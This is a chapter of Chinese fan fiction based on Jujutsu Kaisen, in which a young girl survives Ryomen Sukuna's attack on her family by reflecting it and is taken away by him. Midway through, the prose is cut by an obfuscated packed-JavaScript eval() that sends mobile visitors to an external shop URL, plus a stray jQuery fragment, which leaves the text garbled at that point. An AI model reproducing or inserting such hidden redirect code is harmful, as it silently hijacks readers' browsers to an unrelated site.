末冬初春的时节,晚上只会比白天更冷,瑟瑟的寒风吹透了玖雾单薄的衣服,可瘦小的姑娘背后衣料却被汗水浸透。

    玖雾浑身僵硬,久久不能动弹——父母在自己面前惨死所带来的冲击力实在太大,玖雾觉得自己应该哭的,可是恐惧和惊慌先一步冲击大脑,把小姑娘定在原地,什么也做不出来。

    张张嘴,发现嗓子干哑得厉害,竟然连一个字都说不出来。

    而随着那个高大可怖的男人越走越近,玖雾控制不住地浑身颤抖,甚至牙齿都在打颤。

    为……为什么要走过来呀?杀掉她不是很轻易的事情吗?就像刚刚杀掉她的父母一样,眼也不需要眨,手也不需要挥,对他来说只要一个呼吸,她的脖颈间就可以喷出那么高的血液!

    是想要折磨她吗?因为父母在临死前为她求了情?所以这个从来没有得到过父爱母爱的变态哥哥决定把她折磨致死泄愤?

    或许她现在应该跑?她一点也不想死!可是……怎么可能逃脱得了,这个变态哥哥只需要一个想法就能轻易杀掉她,如果转身逃跑的话可能反而激怒对方,把她直接切成八块!

    好……好可怕!不要再过来了!

    可能是小姑娘眼中的恐惧与懦弱和曾经他所见过的人都大差不差,两面宿傩神色闪过一丝乏味无趣,停下了脚步。

    一个瘦得皮包骨的小丫头,看起来没什么肉,不如直接杀掉算了。

    手指轻轻一动,【解】发动——

    那一瞬间,玖雾直觉自己面前一定有着什么无形的东西直冲着自己的面门而来,虽然玖雾不知道那是什么,但她就是知道自己应该会死在这东西下——如果什么都不做的话。

    玖雾不想死,极其强大的求生欲与愤懑不甘瞬间充斥了玖雾的内心——这是她的第二世人生,明明前几天她才刚过六岁的生日不久,一切都还没来得及开始,她凭什么要死?还是被一个无冤无仇、甚至之前素未谋面的哥哥杀死!

    下一秒,向来势无可挡的【解】毫无预兆地调转了方向,两面宿傩眉头一挑,微微偏了偏头。

    男人背后,原本静静立在那里的围栏凭空被斜切开来、滑落在地,横截面锋利无比。

    于是小姑娘惊恐畏惧的表情中又多了一丝茫然。

    发生了什么?她没死?对面的围栏为什么莫名其妙坏掉了?

    但是劫后余生的庆幸带来了一阵腿软,瘦小的小姑娘噗通一声跪倒在地,久久站不起来。

    两面宿傩的眼神中则多了一丝兴味,他看的清清楚楚,就在刚刚那一刻,眼前的小姑娘忽然觉醒了术式,将他的【解】拦截住,甚至返还了回去。

    这个小丫头的术式,很新奇。

    至少两面宿傩到目前为止,从来没有碰到过哪个术师能做到将他的攻击返还回来的,他的【解】与【捌】但凡出动,目标从无幸存,唯一的区别只有究竟被切成了几块而已。

    玖雾又忍不住浑身颤抖起来了,这个可怕的男人又开始往她这边走!

    到底……到底是怎么回事?难道他不想杀掉她了吗?

    玖雾隐约觉得或许是刚刚发生了什么导致这个变态哥哥想法的转变,但她根本就不知道发生了什么!

    此时此刻,拥有四只手两张脸的怪物哥哥已经走到了玖雾面前,抱着臂,饶有兴致地低头观察着她。

    玖雾努力地仰着头,脖颈因为这个费力地姿势逐渐泛酸,但泛酸总比彻底断掉要好。这个可怕男人周身所散发的可怕气息令玖雾不敢有多余的动作,但她还是努力地扯开嘴角笑了一下。

    “哥……哥哥……初次见面,我叫玖雾,是你的妹妹。”

    小姑娘并不知道她此时此刻露出的笑容其实比哭还难看,甚至还很滑稽。

    两面宿傩并没有因为小姑娘的称呼而产生一丝一毫的动容,他只说:“刚才的那个,再放出来一次。”

    “什……什么呀?”

    两面宿傩却毫无预兆地伸出手,攥住了小姑娘细瘦的脖颈。

    玖雾:“!!!”

    小姑娘桃粉色的眼瞳瞬间睁大,里面充满惊恐,她下意识地伸出双手把住对方伸过来的手臂,奈何对方的手臂比钢筋铁棍还要坚硬,小姑娘的两只手合在一起都覆盖不住对方的手腕,力气也是小得可怜,如同蜉蝣撼树,动摇不了两面宿傩一分一毫。

    不幸中的万幸,两面宿傩只是把手束缚在小姑娘的脖颈上,并没有用力。否则的话,他只需要轻轻一收紧,这支细弱的脖颈就要像世间最脆弱的树枝一样被折断了。

    “啪嗒、啪嗒。”

    一滴滴豆大的泪珠顺着小姑娘巴掌大的脸颊砸在两面宿傩的手臂上,既不算滚烫也不算冰凉,就和眼泪的主人一样没有杀伤力。

    两面宿傩无视手臂上的泪水,松开了手。

    没有遭到下意识的反击,看来眼前这个小丫头还真是刚觉醒术式,什么都不知道,刚刚也只是凭借本能才造成的巧合而已。

    他有点好奇这小丫头术式的原理,想知道她能不能再次做到刚刚那样,把他的【解】反弹回来。

    不过现在眼前的小丫头浑身充斥着和她那术式一样特性的咒力,【解】未必能够再对她起作用,如果用【捌】的话……

    还是不行,威力太大,会把她剁成肉酱的——即使她能凭借本能再发动一次术式也来不及。

    玖雾忍不住再次瑟瑟发抖了起来,她能够很清楚地感受到上方男人的眼神变化,从看一只弱小的虫子变成了一块怎样究竟应该怎样切割的肉。

    感觉会死得更惨了!

    果然被激怒了吗?因为她刚刚叫了哥哥。

    玖雾吸了吸鼻子,努力憋住眼泪,心里恶狠狠地想:如果她今天真的死在了这里,拜托老天一定要给她第三次生命,她一定会狠狠报复回来的!连带着父母的份一起!

    下一秒,两面宿傩的魔爪再次向玖雾袭来——

    小姑娘下意识闭上眼睛,本以为会在一阵剧痛后迎来自己的死亡,但是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733157|208992||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    等了一会儿,玖雾只觉得自己身体忽然腾空——

    诶?诶诶?

    玖雾睁开眼睛,发现原本熟悉的场景在倒退,而自己本人则被怪物哥哥提起来——抓着衣服后摆,双手双脚都朝地的那种。比拎起一只兔子还要轻松,毕竟兔子被拎起时还会挣扎,而她完全没有着力点,想挣扎都做不到。

    干嘛啦——

    还不如直接给她个痛快呢!

    怪物哥哥速度太快,行动间被夜风带起来的灰尘迷了玖雾的眼睛,小姑娘只觉得眼睛很酸很酸。这一次,玖雾哭得很安静,她只是默默地流泪,为自己将来未卜的命运,同时也暗暗下定决心,如果她可以活下去的话,一定会找机会给父母报仇的!

    ……

    玖雾觉得自己大概率这辈子都没办法给父母报仇了。

    这两个月,玖雾觉得自己仿佛活在地狱里。

    她当然知道自己的怪物哥哥很强,但她没想到这家伙竟然强成这样!这两个月以来,玖雾被她的怪物哥哥拎着到处走,中途总是会遇到一些奇奇怪怪的人,不分青红皂白地就要冲上来和她的怪物哥哥打架。

    当怪物哥哥被单挑时,他赢了,玖雾内心并无太大波澜。

    当怪物哥哥被两三个人拦住时,他又赢了,玖雾心想这家伙确实有点实力。

    当怪物哥哥被十几个人围殴时,他又又赢了,玖雾大脑宕机。

    当怪物哥哥被一大群人设下埋伏外加围殴时,他又又又赢了,玖雾大脑彻底死机。

    或许,村民们口中的怪物并不单单指他异于常人的外貌,还有他像怪物一样恐怖的实力吧!

    当然这两个月玖雾也不仅仅只是旁观了怪物哥哥打架,她还从这一波又一波给怪物哥哥送经验的人嘴里得知了怪物哥哥的名字——两面宿傩。

    这个名字……听起来怪怪的,是真名吗?

    玖雾很快就没有时间纠结这个问题了,同时她也知道了怪物哥哥当初拎走她的真实原因。

    她也觉醒了术式,成为了那些一波又一波给怪物哥哥送的所谓的咒术师之一。

    而她的怪物哥哥正是因此好奇她的术式,才选择将她带走,而不是像她的父母一样被当场切成八块。

    如果要评比出一个最适合做老师的人的排行榜的话,那么两面宿傩一定可以荣获倒数第一!为了让玖雾快速地掌握术式,他才让玖雾旁观了自己战斗没几天后就把小姑娘丢进前来讨伐他的咒术师堆里。

    即使玖雾看起来只是一个六七岁的小女孩,也很少有咒术师会对其手下留情,毕竟她可是出现在两面宿傩身边的人!

    从几年前起,两面宿傩这个名字便在咒术界掀起了轩然大波——目中无人、狂妄自大、所过之处必定会引起灾祸混乱,甚至生吃女人和小孩,整个咒术界谁不知道两面宿傩究竟有多么可怕!

    所以即便是两面宿傩身边的小女孩,也没有人敢轻视,毕竟如果没有点过人之处的话,她是怎么在两面宿傩身边存活下来的!